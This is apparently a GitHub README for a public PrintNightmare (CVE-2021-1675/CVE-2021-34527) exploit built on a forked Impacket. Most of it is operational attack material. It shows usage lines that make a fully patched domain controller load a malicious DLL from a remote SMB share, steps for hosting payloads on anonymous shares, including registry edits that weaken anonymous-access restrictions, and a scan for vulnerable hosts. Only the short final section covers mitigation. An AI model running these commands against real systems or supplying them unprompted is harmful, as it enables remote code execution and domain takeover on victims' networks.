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# CVE-2021-1675 / CVE-2021-34527
Impacket implementation of the [PrintNightmare ](https://github.com/afwu/PrintNightmare) PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)
Tested on a fully patched 2019 Domain Controller
Execute malicious DLL's remote or locally
11 months ago
![](Images/poc2.png)
10 months ago
### Patch update
Microsoft has released a patch to mitigate against these attacks but if these values below are present on a machine, then the machine will still be vulnerable
```
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators REG_DWORD 0x0
NoWarningNoElevationOnInstall REG_DWORD 0x1
```
### Installation
Before running the exploit you need to install my version of Impacket and after that you're gucci
```
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
```
### CVE-2021-1675.py
```
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'
```
### SMB configuration
Easiest way to host payloads is to use samba and modify `/etc/samba/smb.conf ` to allow anonymous access
```
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
```
From windows it's also possible
```
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
```
### Scanning
We can use `rpcdump.py` from impacket to scan for potential vulnerable hosts, if it returns a value, it could be vulnerable
```bash
10 months ago
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
10 months ago
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
```
### Mitigation
Disable Spooler service
```powershell
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
```